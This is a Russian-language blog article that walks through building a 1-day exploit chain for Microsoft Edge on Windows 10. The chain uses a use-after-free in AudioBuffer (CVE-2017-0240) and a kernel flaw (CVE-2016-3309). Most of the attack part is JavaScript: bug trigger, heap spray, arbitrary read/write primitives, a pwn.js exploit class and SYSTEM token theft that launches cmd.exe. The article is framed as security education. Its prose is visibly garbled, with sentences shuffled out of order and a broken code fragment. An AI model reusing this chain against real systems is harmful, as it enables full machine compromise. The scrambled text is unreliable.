Хабрахабр

Эксплуатация Microsoft Edge от CVE до RCE на Windows 10

Intro

Если вам интересно узнать, как выглядит этот процесс, то welcome под кат! В рамках данной статьи мы достаточно подробно рассмотрим процесс написания эксплоита под уязвимость в Microsoft Edge, с последующим выходом из песочницы.

Введение

Для этого было использовано две уязвимости: double free в ренедере и логическая уязвимость для выхода из песочницы. На последнем Pwn2Own 2019 в Монреале в категории браузеры был продемонстрирован эксплоит для взлома Microsoft Edge. Подробнее об уязвимостях можно прочитать в блоге: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Эти две уязвимости были недавно закрыты и присвоены соотвествующие CVE: CVE-2019-0940 и CVE-2019-0938. Part 2. Part 1 и Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938).

Одним из отличий будет то, что, если в эксплоите, продемонстрированном на Pwn2Own, для выхода из песочницы использовалась логическая уязвимость, то в нашем сценарии для выхода из песочницы будет использована уязвимость в ядре Windows 10. В рамках нашей статьи мы хотим показать процесс написания подобного эксплоита и то, сколько нужно времени и ресурсов на это на примере того же Microsoft Edge на Windows 10 с помощью CVE-2017-0240 и CVE-2016-3309. В итоге, такую цепочку уязвимостей встретить намного вероятнее, и её будет полезно знать сотрудникам ИБ в компаниях. Как показывают патчи от Microsoft, уязвимостей в ядре находится куда больше, чем уязвимостей в реализации песочницы.

Исходные данные

Будет эксплуатироваться CVE-2017-0240. В данной статье будет рассмотрен процесс написания 1-day эксплойта для браузера Microsoft Edge. Далее будет знакомство с инструментом pwn.js, который поможет получить вызов произвольных функций на основе произвольного чтения и записи, также будут рассмотрены различные mitigations и способы их обхода. Первый этап эксплуатации будет производиться на основе материалов из источника [1], мы получим arbitrary address read/write примитив, а также познакомимся с различными техниками, которые могут быть полезны при эксплуатации подобных уязвимостей. На последнем этапе будет произведена эксплуатация уязвимости ядра Windows CVE-2016-3309 для повышения привилегий, обхода ограничений AppContainer и получения полного контроля над атакуемой машиной.

0. Эксплуатация будет проводиться на стенде c ОС Microsoft Windows 10 Pro 1703 (10. 15063. 15063) и браузером Microsoft Edge (40. 0). 0.

Шаг 1. Получение arbitrary address read/write примитива

Описание уязвимости и получение OOB

Уязвимость типа use-after-free присутствует в методе copyFromChannel объекта Audio​Buffer.

Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в AudioBufferSourceNode. AudioBuffer — это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом AudioContext.decodeAudioData(), или из исходных данных с помощью метода AudioContext.createBuffer().

При вызове метода copyFromChannel происходит копирование содержимого канала аудио-буфера в буфер destination, указанный первым аргументом. В презентации The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 приведен подробный анализ уязвимости и патча. Перед непосредственным копированием данных в destination в функции CDOMAudioBuffer::Var_copyFromChannel происходит кеширование буфера destination (адрес и размер буфера сохраняются в локальные переменные функции на стеке) и преобразование значений объектов channelNumber и startInChannel к типу Int, для чего происходит вызов метода valueOf преобразуемых объектов. Метод также принимает номер канала (channelNumber) и смещение в аудио-буфере (startInChannel), начиная с которого необходимо производить копирование. Для проверки воспользуемся следующим кодом: Уязвимость заключается в том, что закешированный буфер может быть освобожден в момент преобразования типов в переопределенном методе valueOf объекта.

// буфер, который впоследствии будет освобожден
var t2 = new Float32Array(0x20000);
var ta = new Uint8Array(t2.buffer);
for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext();
var audioBuf = myctx.createBuffer(1, 0x25, 22050); // заполним содержимое аудио-буфера для наглядности
var t = audioBuf.getChannelData(0);
var ta2 = new Uint8Array(t.buffer);
for(i=0;i<ta2.length;i++) ta2[i]=0x55; // создаем объект с переопределенным valueOf
var obj =
}; // триггерим уязвимость
audioBuf.copyFromChannel(t2, obj, 0);

Создав пустой Worker, мы можем отправить ему сообщение с помощью метода postMessage. Для освобождения буфера в данном коде используется технология Web Workers. После этого происходит вызов sleep — функция, обеспечивающая временную остановку выполнения программы (реализуется самостоятельно). Второй необязательный аргумент transfer данного метода принимает массив Transferable-объектов (ArrayBuffer, MessagePost или ImageBitmap), права на объект будут переданы в Worker и объект более не будет доступен в текущем контексте, благодаря чему может быть удален. Это необходимо для того, чтобы система сборки мусора (GC, Garbage Collector) успела освободить буфер, права на который были переданы.

Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null).

Запустив данный код в Edge под отладчиком, можно получить следующее падение.

Step 01 crash

Для эксплуатации уязвимости необходимо добиться выделения в этой области памяти каких-либо объектов. В результате вызов copyFromChannel пытается копировать содержимое аудио-буфера в неалоцированную область памяти. В данном случае отлично подойдет сегмент массива.

Заголовок сегмента содержит различную информацию, в том числе размер сегмента, который соответствует размеру массива. Массивы в Chakra (JS-движок, используемый в браузере Edge) устроены следующим образом: объект массива имеет фиксированный размер, сами указатели на объекты массива (или значения, в случае IntArray) хранятся в отдельной области памяти — сегменте, указатель на который содержится в объекте массива. Схематично это выглядит следующим образом: Размер массива также присутствует и в самом объекте массива.

Array structure

Для этого модифицируем код выше, добавив в следующие строки после sleep(1000);: Таким образом, если нам удастся выделить сегмент массива в ранее освобожденном пространстве, то мы сможем перезаписать заголовок сегмента массива содержимым аудио-буфера.

... /* Для повышения вероятности захватить интересующий нас сегмент массива, создаем большое их количество. Глобальный массив arr необходим для дальнейшего обращения созданным далее массивам */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ...

Запустим данный код, указав в качестве точки останова функцию memcpy (вызовов memcpy будет много, поэтому имеет смысл остановиться сначала на edgehtml! Размер массивов подобран таким образом, чтобы размер сегмента массива занимал целый сегмент кучи (минимальный неделимый участок памяти кучи, размер которого — 0x10000 байт). Получим следующий результат: WebCore::AudioBufferData::copyBufferData), в которой происходило падение.

Step 02

Теперь мы можем перезаписать заголовок сегмента массива собственными значениями. Отлично! Изменим содержимое аудио-буфера следующим образом: Наиболее интересные значения в данном случае — размер массива, смещение которого мы можем увидеть на скриншоте выше.

... var t = audioBuf.getChannelData(0);
var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0;
ta2[2] = 0xffe0; ta2[3] = 0;
ta2[4] = 0; ta2[5] = 0;
ta2[6] = 0xfba6; ta2[7] = 0;
ta2[8] = 0; ta2[9] = 0x7fffffff - 2;
ta2[10] = 0x7fffffff; ta2[11] = 0;
ta2[12] = 0; ta2[13] = 0;
ta2[14] = 0x40404040; ta2[15] = 0x50505050; ...

С помощью этого мы сможем определить нужный нам массив в глобальном массиве arr следующим образом: Обратите внимание на значения ta2[14] и ta2[15] — они уже относятся не к заголовку сегмента, а к самим значениям массива.

...
for(var i = 0; i < arr.length; i++)
{ if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; }
}

Теперь мы имеем массив, размер сегмента которого больше, чем он есть на самом деле. Если в результате был обнаружен массив, первые два элемента которого были изменены определенным образом, то всё отлично. Остальные массивы при этом можно освободить.

Оказывается, что размер в объекте массива игнорируется, если код исполняется в JIT-режиме и был оптимизирован. Тут необходимо вспомнить о том, что размер массива существует в двух сущностях: в объекте массива, где он остался неизменённым, и в сегменте массива, где мы его увеличили. Этого легко добиться, например, следующим образом:

function arr_get(idx) { return target_arr[idx];
} function arr_set(idx, val) { target_arr[idx] = val;
} for(var i = 0; i < 0x3ff0; i++)
{ arr_set(i, arr_get(i));
}

После этого, с помощью функций arr_get и arr_set можно обращаться за границы массива (OOB, out-of-bound).

Использование OOB для получения примитива чтения и записи по произвольному адресу

Метод, с помощью которого мы это получим, будет похож на тот, что используется в источнике [1], но будут также и значительные изменения. В данном разделе рассмотрим технику, позволяющую добиться чтения и записи по произвольному адресу с помощью OOB.

В используемой версии Edge блоки памяти для кучи выделяются последовательно, благодаря чему при выделении большого количества каких-либо объектов рано или поздно они окажутся после сегмента массива, за границы которого мы можем обращаться.

Но доступ к каким объектам поможет нам добиться произвольного чтения и записи? Во-первых, это дает нам возможность считать указатель на виртуальную таблицу методов объектов (vftable), благодаря чему можно обойти рандомизацию адресного пространства процесса (ASLR). Для этого отлично подходит пара объектов DataView.

Представление DataView предоставляет низкоуровневый интерфейс для чтения и записи многочисленных числовых типов в бинарном ArrayBuffer, независимо от порядка байтов платформы.

Для чтения и записи по произвольному адресу мы, например, можем построить цепочку из двух DataView (dv1 и dv2) следующим образом: в качестве буфера dv1 указываем адрес dv2 с помощью обращения за пределы массива. Внутренняя структура DataView содержит указатель на буфер. Схематично это можно изобразить следующим образом: Теперь с помощью dv1 мы можем изменять адрес буфера dv2, за счет чего и достигается произвольные чтение и запись.

Arbitrary address read/write

Для этого существует следующая техника: необходимо создать новый Array, с помощью OOB сохранить его vftable и typeId (первые два 64-битных поля структуры) и присвоить первому элементу массива объект, адрес которого нас интересует. Чтобы воспользоваться данным методом, необходимо научиться определять адреса объектов в памяти. Теперь младшее и старшее двойное слово адреса объекта можно получить, обратившись к первому и второму элементу массива. Затем, необходимо восстановить ранее сохраненные значения vftable и typeId. При присвоении массиву объекта происходит преобразование массива в ObjectArray, и его сегмент используется для хранения адресов объектов. Дело в том, что по умолчанию новый массив является IntArray, и в его сегменте хранятся 4-байтовые значения массива как они есть. Соответственно, если мы восстановим исходные значения vftable и typeId, через элементы этого массива мы сможем обращаться напрямую к сегменту. При преобразовании изменяются vftable и typeId. Схематично описанный процесс можно изобразить следующим образом:

Pointer leak

Функция для получения адреса будет выглядеть следующим образом:

function addressOf(obj) { var hdr_backup = new Array(4); // сохраняем vftable и typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; // восстанавливаем vftable и typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); // возвращаем младшее и старшее двойное слово адреса объекта return [intarr_object[0], intarr_object[1]];
}

Как было сказано ранее, при выделении большого количества объектов, рано или поздно они начнут выделяться после сегмента массива, за границы которого мы можем обращаться. Открытым вопросом остается создание необходимых объектов и поиск их с помощью OOB. Т.к. Чтобы найти нужные объекты, необходимо просто пройтись по индексам за пределами массива в поиске нужных объектов. Чтобы идентифицировать объекты, можно установить им уникальные значения каких-либо параметров (например, для DataView это может быть byteOffset) или, используя уже известные константы в структуре объекта (например, в используемой версии Edge в IntArray по смещению 0x18 всегда находится значение 0x10005). все объекты одного типа располагаются в одном сегменте кучи, можно оптимизировать поиск и идти по сегментам кучи с шагом 0x10000, а проверять только несколько первых значений с начала каждого сегмента кучи.

Ниже представлен скриншот с чтением памяти объкетов DataView. Объединив все вышеописанные приемы, можно получить чтение и запись по произвольному адресу.

Memory leak

Шаг 2. Выполнение произвольных функций API

Рассмотрим основные технологии, которые должны помешать дальнейшей эксплуатации приложения и средства их обхода. На данном этапе мы получили возможность чтения и записи по произвольному адресу внутри процесса отображения контента Edge. Мы уже писали небольшой цикл статей Браузеры и app specific security mitigation (часть 1, вводная, часть 2, Internet Explorer и Edge, часть 3, Google Chrome), но стоит учитывать, что разработчики не стоят на месте и добавляют в свои продукты новые средства защиты.

Рандомизация адресного пространства (ASLR)

address space layout randomization — «рандомизация размещения адресного пространства») — технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно: образов исполняемого файла, подгружаемых библиотек, кучи и стека. ASLR (англ.

Выше мы научились считывать адреса виртуальных таблиц классов, используя их, мы с легкостью можем вычислить базовый адрес модуля Chakra.dll, таким образом ASLR не представляет проблем для дальнейшей эксплуатации.

Data execution protection (DEP, NX)

Dáta Execútion Prevéntion, DEP) — функция безопасности, встроенная в Linux, Mac OS X, Android и Windows, которая не позволяет приложению исполнять код из области памяти, помеченной как «только для данных». Предотвращение выполнения данных (англ. Она позволит предотвратить некоторые атаки, которые, например, сохраняют код в такой области с помощью переполнения буфера.

Но в случае Edge данный метод не сработает из-за ACG (см. Один из способов обхода данной защиты — вызов VirtualAlloc с помощью ROP-цепочек. ниже).

Control Flow Guard (CFG)

Работа данного механизма заключается в валидации неявных вызовов (indirect calls), предотвращающей перехват потока исполнения злоумышленником (например, посредством перезаписи таблицы виртуальных функций) CFG — механизм защиты, нацеленный на то, чтобы усложнить процесс эксплуатации бинарных уязвимостей в пользовательских приложениях и приложениях режима ядра.

Адреса возврата на стеке не контролируются, и этим можно воспользоваться для построения ROP-цепочек. Данная технология контролирует только косвенные вызовы, например, вызовы методов из виртуальной таблицы функций объектов. Данная технология состоит из двух частей: В будущем использованию ROP/JOP/COP-цепочек может помешать новая технология Intel: Control-flow Enforcement Technology (CET).

  1. Shadow Stack (теневой стек) — используется для контроля адресов возврата и защищает от ROP-цепочек;
  2. Indirect Branch Tracking — метод защиты от JOP/COP-цепочек. Представляет из себя новую инструкцию ENDBRANCH, которой помечаются все валидные адреса переходов для call и jmp-инструкций.

Arbitrary Code Guard (ACG)

ACG — это технология, препятствующая динамической генерации кода (запрещено аллоцировать rwx-области памяти с помощью VirtaulAlloc) и его модификации (нельзя переотобразить имеющуюся область памяти как исполняемую)

Данная защита, как и CFG, не предотвращает использование ROP-цепочек.

AppContainer Isolation

Данная технология ограничивает доступ процесса к учетным данным, устройствам, файловой системе, сети, другим процессам и окнам и нацелена на минимизацию возможностей вредоносного ПО, получившего возможность выполнения произвольного кода в процессе. AppContainer — технология Microsoft, позволяющая изолировать процесс, запуская его в окружении-песочнице.

Из-за неё мы не можем вызвать сторонние исполняемые файлы или получить доступ к чувствительной информации пользователя в памяти или на дисках. Данная защита значительно усложняет процесс эксплуатации. Однако данную защиту можно преодолеть, используя уязвимости в реализации песочницы AppContainer или с помощью повышения привилегий через эксплуатацию уязвимостей в ядре ОС.

В программе указано, что повторное использование исполняемого кода (построение ROP-цепочек является разновидностью данной техники) не попадает под программу, т.к. Стоит отметить, что у Microsoft существует отдельная программа вознаграждений за техники обхода security mitigation-технологий. является архитектурной проблемой.

Использование pwn.js

В данной статье мы опишем способ с использованием уязвимости ядра Windows. Из анализа всех технологий защиты следует, что для получения возможности исполнения произвольного кода необходимо обойти песочницу AppContainer. Писать эксплойт для ядра, используя только ROP-цепочки, может быть очень сложно. При этом мы можем использовать только JS-код и ROP-цепочки. К счастью, это уже реализовано в библиотеке pwn.js. Для упрощения этой задачи можно найти набор гаджетов, с помощью которого мы бы смогли вызывать необходимые методы WinAPI. Также pwn.js предоставляет удобный инструмент для работы с 64-битными значениями и указателями и инструменты для работы со структурами. С помощью неё, описав лишь функции read и write для произвольного чтения и записи, можно получить удобное API для поиска необходимых функций WinAPI и их вызова.

На предыдущем этапе мы получили цепочку из двух связанных DataView. Рассмотрим простой пример. Для подготовки эксплойта необходимо создать следующий класс:

var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... // Получение arbitrary address read/write с помощью уязвимости ... // DataView, с помощью которого будет производится чтение и запись this.dv = ...; // DataView, буфер которого указывает на this.dv this.dv_offset = ...; // Любой адрес внутри Chakra.dll, например, указатель на виртуальную таблицу var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit;
})();

Использовать полученный класс очень легко, вот простейший пример для вызова MessageBoxA:

function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); }
}

В результате исполнения получим следующее сообщение:

PWNED

Шаг 3. Повышение привилегий и выход из песочницы с помощью уязвимости ядра

Этого может быть достаточно для реализации эксплуатации уязвимостей ядра. На данном этапе мы научились выполнять произвольные вызовы WinAPI. Подробную информацию о ней можно найти в источниках [7] и [8], а в презентации по pwn.js [2] есть частичная реализация эксплойта, который основан на относительно новой технологии эксплуатации GDI-объектов. Отличный пример подходящей уязвимости является CVE-2016-3309. В результате эксплуатации уязвимости можно получить примитив произвольного чтения и записи в пространстве ядра. Познакомиться подробнее с данной технологией можно в источниках [9], [10] и [11]. В данной статье рассмотрим лишь общие техники, позволяющие с помощью произвольного чтения и записи в пространстве ядра повысить привилегии процесса и обойти AppContainer, а также рассмотрим примеры реализации этих техник с помощью pwn.js. Изучение самого процесса эксплуатации мы оставим на читателя, в этом помогут перечисленные выше источники. Конечной целью эксплуатации в данной статье будет открытие командного интерпретатора cmd.exe от имени пользователя SYSTEM.

GDI — это интерфейс Windows для представления графических объектов и передачи их на устройства отображения, такие, как мониторы и принтеры.

JS-функции для чтения и записи 64-битных значений в ядре назовем kernel_read_64 и kernel_write_64, соответственно. Итак, у нас получилось реализовать чтение и запись по произвольному адресу в пространстве ядра. В контексте эксплуатации уязвимости это можно сделать через объект типа BITMAP, адрес которого мы знаем. Первым делом необходимо получить базовый адрес ядра Windows. Структуру BITMAP можно описать, например, так: pwn.js предоставляет удобный интерфейс описания структур.

var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64],
]);

Таким образом, для определения адреса ядра необходимо выполнить следующий код: Поле Tid данной структуры хранит указатель на объект KTHREAD с контекстом текущего потока исполнения, который, в свою очередь, содержит адрес EmpCheckErrataList, с помощью которого можно определить базовый адрес ядра.

...
var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8);
var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr);
/* g_config содержит различные смещения, специфичные для текущей версии ядра
Для вычисления смещения empCheckErrataList в WinDbg в режиме отладки ядра необходимо выполнить следующую команду:
? nt!EmpCheckErrataList - nt */
var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset);
...

Для отключения ограничений AppContainer необходимо отчистить бит IsPackagedProcess из блока окружения процесса (Process Environment Block, PEB), что можно сделать не прибегая к эксплуатации уязвимости ядра. Зная базовый адрес ядра, мы можем отключить ограничения AppContainer и повысить привилегии процесса. В качестве такого токена можно взять Access Token системного процесса, там самым мы еще и повысим привилегии текущего процесса. Также необходимо получить Access Token, в котором не будет признаков запуска приложения внутри AppContainer. Структура процесса в ядре EPROCESS содержит двусвязный список ActiveProcessLinks, с помощью которого можно перечислить все процессы. Access Token идентифицирует пользователя и его привилегии, группу и другие данные доступа. Указатель на системный процесс можно получить из глобальной переменной PsInitialSystemProcess ядра, начиная с него, можно пройтись по всем процессам с помощью списка ActiveProcessLinks. Указатель на PEB также можно получить из EPROCESS.

По этой причине необходимо создавать новый процесс от имени другого процесса с привилегиями SYSTEM. В случае браузера Edge существует еще одна проблема: если процесс отображения контента не отвечает, то основной процесс Edge его завершит вместе со всеми дочерними процессами. Это может быть, например, winlogon.exe.

Описанные выше техники можно реализовать с помощью pwn.js следующим образом:

// Получение PEB текущего процесса
var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size));
var pinfo_sz = Uint64.Ptr.cast(malloc(8));
NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz);
var peb = pinfo.PebBaseAddress;
/* Переключаем значение бита IsPackagedProcess для обхода ограничений
В данном случае peb имеет тип char * */
var bit_field = peb[3];
bit_field = bit_field.xor(1 << 4);
peb[3] = bit_field; /* Смещения полей структур в текущей версии ядра также можно получить
с помощью WinDbg в режиме отладки ядра. Для этого необходимо выполнить следующее:
dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks
В результате будут перечислены смещения всех перечисленных в аргументе полей */
var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset);
var current_pid = GetCurrentProcessId();
var current_eprocess = null;
var winlogon_pid = null;
// winlogon.exe - название процесса, который будет родительским для cmd.exe
var winlogon = new CString("winlogon.exe");
var image_name = malloc(16);
var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset));
while(!current_eprocess || !winlogon_pid)
{ var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); // Копируем название просматриваемого процесса из пространства ядра // пользовательское пространство Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); // Ищем процесс winlogon.exe и текущий процесс if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } // Перемещаемся к следующему процессу в двусвязном списке ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset);
} // Получение токена системного процесса
var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); // Подготовка структур данных для запуска нового процесса в качестве
// дочернего процесса winlogon.exe
var pi = malloc(24);
memset(pi, 0, 24);
var si = malloc(104 + 8);
memset(si, 0, 104 + 8);
Uint32.store(si.address, new Integer(104 + 8));
var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8));
InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize);
var lpAttributeList = malloc(AttributeListSize[0]);
Uint64.store( si.address.add(104), lpAttributeList
);
InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize)
var winlogon_handle = Uint64.Ptr.cast(malloc(8)); // Запись системного токена в текущий процесс
kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /* Обладая правами системного процесса и отключив ограничения AppContainer,
мы можем получить дескриптор запущенного процесса winlogon.exe и запустить
новый процесс в качестве дочернего процесса winlogon.exe */
winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid);
UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0);
CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi);

Результат выполнения полной цепочки эксплойтов:

Final

На нашем YouTube вы можете посмотреть видео о том, как выйти из песочницы Microsoft Edge.

Итог

Немного цифровых фактов:

  • Человеку, ранее не знакомому с эксплуатацией браузера Edge и ядра Windows, потребовалось около 13 часов на то, чтобы разобраться и написать эксплойт для уязвимости CVE-2017-0240 используя материалы, перечисленные в статье. Примерно столько же времени потребовалось для эксплуатации ядерной уязвимости CVE-2016-3309.
  • Эксплойт был полностью написан на JS
  • Всего в эксплойте 666 строчек кода на JS
  • Полезная нагрузка эксплойта: вызов cmd.exe от имени пользователя SYSTEM, но может быть запущен любой вредоносный код

А учитывая, что человек может специализироваться на конкретном ПО, это займет у него еще меньше времени и сил. Теперь мы думаем, что у вас может сложиться некоторая картина о том, как злоумышленники на основании той же информации из патчей могут быстро создать эксплойт под интресующее их ПО. Поэтому не забывайте о своевременном обновлении своего ПО.

Материалы

  1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team — cve-2018-8629-chakra.js
  6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez — Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou — Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js
Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть